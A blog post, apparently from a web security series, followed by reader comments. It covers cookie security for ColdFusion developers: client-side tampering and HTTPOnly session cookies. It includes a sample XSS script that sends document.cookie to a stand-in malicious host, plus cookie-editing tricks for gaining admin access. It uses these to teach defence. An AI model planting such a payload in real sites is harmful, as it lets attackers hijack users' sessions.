mmmmMMmmmmmmm Cookies - Security Series #12
Who doesn't love cookies, right? They are delicious little morsels of fatty, sugary goodness that help keep me squishy. But, of course, you know I am not talking about Toll House or Chips Ahoy. I'm talking about HTTP cookies.
Understanding Cookies
So most of us know what cookies are. They are small bits of text information sent back and forth between the server and the browser. Cookies can be used for a number of reasons. But the most important reason for using cookies it to maintain session state. If you don't know how this is done, you can read more about session management and cookies here.There is a lot more to cookie security than is immediately apparent, so we'll see how many posts this discussion takes. The important thing to know is that cookie security is very important and if not handled properly, you could be opening the door to session hijackers, XSS attacks, and the compromise of sensitive information.
So why is cookie security so important?
Cookies can be used for a lot of things. For some of those things, like Session Management, keeping your users' session tokens secure is the only thing keeping them from getting their accounts hijacked.Cookie security is also important because improperly handled cookie values can be easily intercepted.
Cookies are also misused. Some types of information should not be stored in cookies, yet I am constantly seeing it done. Security information, access control parameters, passwords, etc. Part of cookie security is knowing what type of information is appropriate for cookies, and what isn't.
So what makes cookies vulnerable?
There are several things that make cookies a security risk if improperly handled.- Cookies are store in plain text
- Cookies are transmitted in plain text (Unless using SSL)
- Some cookies persist on the users' machines, even after they close the browser (think public machines)
- If not handled correctly, cookies could be submitted to web servers other than the one you intend
- Cookies can be manipulated by the end user
- Cookie values can be accessed by malicious Javascript through XSS attacks
- Developers put stupid things into cookies
So let's look at some of these issues
Developers do stupid things
So let's get this one out of the way. I'll start with a story.When I first started in Web Development, my mentor was a 10 year Web Development veteran. He made it quite clear that when it came to web development, he was the cock-of-the-walk. I had no reason not to believe him. I was a complete n00b. So he taught me all sorts of seemingly easy web security tricks.
Some of the things I have seen include:
- Storing the UserID/CustID in the cookie to validate identity
- Using values like cookie.isLoggdIn to determine if a user is logged in
- Using cookies to control access (i.e. cookie.role="admin")
All of this seemed fine to me as a n00b. Then I found out that cookies could be edited by the end user. Very bad. I started to play around and realized that I could do things like:
- Change the value of cookie.isLoggedIn to "true" and be instantly logged into the site
- Change my cookie.custID and suddenly be logged in as a different user
- Change cookie.role to "Admin", and be an admin
So remember, cookies are not the best place for certain things, in this case, access control. Just like you should not trust JavaScript for form field validation because it is controlled by the client and can be bypassed, you should not trust cookies for access control information. They too are controlled by the client and can be bypassed.
Accessing Cookies with Javascript
Cross-site scripting attacks can be used to access cookie information via JavaScript and send it to a malicious site. If your users' session tokens can be accessed via JavaScript, then your applications are open to session hijacking via XSS attacks. Here's how it works:If a hacker is able to inject a little bit of code somewhere in your site (how does not matter, read more about the methods here) then that code can be used to send your cookies to a malicious site.
<script type="text/javascript">
window.location="http://www.evilbadwickedsite.com?cookie=" + document.cookie;
</script>
And that's it. Your user will be rerouted to the malicious site, and any information in that user's cookie will be appended to the URL, including the user's session token.
So what can we do about it?
Well, of course, the first thing to do is make sure that you are protected from Cross-Site Scripting attacks. I've discussed that in a previous post, so I will not go into it again. Just remember to use Script Protect(or a similar monitoring tool) and to escape all user generated output.
The second thing you can do is to make cookies inaccessible to JavaScript using the HTTPOnly cookie attribute.
The HTTPOnly attribute was recently added to most of the browsers in use today. When the HTTPOnly flag is set on a cookie, that cookie cannot be accessed via client-side scripting. So our hacker's script above would fail. It would still perform the redirect, but the cookie would not be appended to the URL.
NOTE: HTTPOnly cookies can still be sent over XMLHTTPRequest.
SECOND NOTE: HTTPOnly cookies only work with modern browsers, and some of those still have issues, so do not count on it. It should be used as additional protection, not sole protection.
Now, this is one area where ColdFusion falls a little short. There is not option in the <cfcookie> tag for HTTPOnly, so if you want an HTTPOnly cookie, you need to set it using <cfheader>.
<cfheader name="Set-Cookie" value="cookieName=value;HTTPOnly" />
ColdFusion get's a little more troublesome when you want to do anything to modify your session tokens. I spent the better part of last Friday trying to make CF cooperate with session tokens and security. I finally found a combination that works. I will probably be making a more detailed post on just this topic in the near future, but for now, here is how I was able to make session tokens HTTPOnly:
<cfheader name="Set-Cookie" value="CFID=#session.CFID#;HTTPOnly" />
<cfheader name="Set-Cookie" value="CFTOKEN=#session.CFToken#;HTTPOnly" />
I have a lot more testing to do on this because I am using it in conjunction with the "secure" attribute, which I will be discussing in my next post. I also have not yet had a chance to test this with JSessionID cookies. As I said, I will post more details on these things in the near future.





SSL Cookie Not Used
Persistent Cookies
got any ideas?
I saw a PHP guy recently using the built-in session management completely wrong, and it all stemmed from not really understanding the underlying use of cookies in the request/response transaction.
So I suppose the rule is use an abstracted session manager if you have one available, but you should still know how cookies actually work over http
If all you need are the values out of them, keep in mid, that you JUST set them, so you know what the values are. Is there something specific that you are doing that you need to access the cookie scope on the very first request made to the application, where cookies did not previously exist?
To avoid making too many code changes, I just created a custom tag called cookie and trying to set the cookie with cfheader tag from the custom tag. This way in my application all I have to do is change all cfcookie to cf_cookie.
If that is what you need, then you should use the cfcookie tag. It is is not sensitive data (like a session token) then it may not need to be protected by HTTPOnly anyway, because if you use <cfcookie> then you cannot makeit an HTTPOnly cookie.
No, there is no way [that I know of] to access the cookie set by cfheader in the same request. You should be able to access it through JS but not CF.
The good news is CF9 has httpOnly attribute for cfcookie.
http://www.petefreitag.com/item/740.cfm
I've actually known about that way of doing it for some time and it works, but there are a couple of major drawbacks.
1. This will change the session tokens for every application on the server, so it's all or nothing.
2. This also means that your web application must use SSL 100% of the time to maintain a session. You cannot programatically switch between SSL and non-SSL.
For some applications these restrictions might not be a problem. But I think for most, it would be an issue.
Thanks for thinking of me though.